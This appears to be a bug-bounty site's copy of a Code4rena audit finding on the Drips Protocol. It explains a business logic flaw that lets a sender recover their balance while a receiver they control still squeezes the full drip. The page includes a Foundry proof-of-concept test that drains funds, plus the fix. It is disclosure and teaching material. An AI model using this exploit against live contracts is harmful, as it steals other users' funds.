Skip to content
Business logic Audit finding Intermediate

Drips that end after the current cycle but before its creation can allow users to profit from squeezing

A sender could create a drip that ends before its creation time, then remove it to recover their full balance, while the receiver could still squeeze the full amount from the contract. By controlling the receiver, the sender could drain arbitrary assets from the contract.

evan Follow with HollaDieWaldfee

Originally disclosed on Code4rena

Submitted by evan, also found by HollaDieWaldfee

By creating a drip that ends after the current cycle but before its creation time and immediately removing it, the sender doesn’t have to put in any assets but the receiver can still squeeze this drip.

By setting a receiver that the sender controls, the sender can drain an arbitrary asset from the contract.

Proof of Concept

Let the cycle length be 10 seconds. By i-th second I mean the i-th second of the cycle.

At the 5th second, sender creates a drip that starts at 0th second and lasts for 2 seconds.

At the 6th second, sender removes this drip.

https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L569

Since the drip ends before it was created, the dripped amount is 0, so the sender can retrieve their full balance.

https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L425-L430

https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L490-L496

Now the receiver squeezes from this drip.

SqueezeStartCap = \_currCycleStart() = 0th second, squeezeEndCap = 6th second, so the receiver can still squeeze out the full amount even though the sender has withdrawn all of his balance.

Please add the following test to DripsHub.t.sol. It verifies that the sender has retrieved all of his assets but the receiver can still squeeze.

    function customSetDrips(
        uint256 forUser,
        uint128 balanceFrom,
        uint128 balanceTo,
        DripsReceiver[] memory newReceivers
    ) internal {
        int128 balanceDelta = int128(balanceTo) - int128(balanceFrom);
        DripsReceiver[] memory currReceivers = loadDrips(forUser);

        vm.prank(driver);
        int128 realBalanceDelta =
            dripsHub.setDrips(forUser, erc20, currReceivers, balanceDelta, newReceivers, 0, 0);

        storeDrips(forUser, newReceivers);

    }

    function testExploitSqueeze() public {
        skipToCycleEnd();
        // Start dripping
        DripsReceiver[] memory receivers = new DripsReceiver[](1);
        receivers[0] = DripsReceiver(
            receiver,
            DripsConfigImpl.create(0, uint160(1 * dripsHub.AMT_PER_SEC_MULTIPLIER()), uint32(block.timestamp), 2)
        );

        DripsHistory[] memory history = new DripsHistory[](2);

        uint256 balanceBefore = balance();
        skip(5);
        customSetDrips(user, 0, 2, receivers);
        (,, uint32 lastUpdate,, uint32 maxEnd) = dripsHub.dripsState(user, erc20);
        history[0] = DripsHistory(0, receivers, lastUpdate, maxEnd);

        skip(1);
        receivers = dripsReceivers();
        customSetDrips(user, 2, 0, receivers);
        (,, lastUpdate,, maxEnd) = dripsHub.dripsState(user, erc20);
        history[1] = DripsHistory(0, receivers, lastUpdate, maxEnd);

        assertBalance(balanceBefore);

        // Squeeze
        vm.prank(driver);
        uint128 amt = dripsHub.squeezeDrips(receiver, erc20, user, 0, history);
        assertEq(amt, 2, "Invalid squeezed amt");
    }

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

https://github.com/code-423n4/2023-01-drips/blob/main/src/Drips.sol#L426

One potential solution is to add an additional check after this line. Something along the lines of:

if (squeezeStartCap < drips.updateTime) squeezeStartCap = drips.updateTime;

CodeSandwich (Drips) confirmed and commented:

Great job! This is a critical protocol breaker.

Alex the Entreprenerd (judge) commented:

The Warden has shown a way to trick the contract into disbursing out funds without the upfront payment.

Because this shows a way to steal the principal, I agree with High Severity.


The original report as published on Code4rena, by evan. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the squeeze calculation uses a start cap based on the current cycle start rather than the drip's last update time, allowing a receiver to squeeze funds for a period before the drip was created.

What the attacker needed

Ability to create and remove drips; control over the receiver address

The fix

The code should be fixed by ensuring the squeeze start cap is not earlier than the drip's last update time, for example by adding a check that sets the start cap to the update time if it is earlier.

How it was found

  1. At the 5th second of a 10-second cycle, the sender creates a drip that starts at the 0th second and lasts for 2 seconds.
  2. At the 6th second, the sender removes the drip, retrieving their full balance because the dripped amount is 0.
  3. The receiver then squeezes from the drip, and because the squeeze start cap is the cycle start (0th second) and the end cap is the 6th second, the receiver can still squeeze out the full amount.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A drip is a payment stream where someone pays another person over time. The bug let a sender create a stream that ended before it started, so they got their money back immediately, but the receiver could still claim the full amount, effectively stealing funds from the contract.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by evan

View all

11 more disclosed reports, best first.

More from Drips Protocol contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.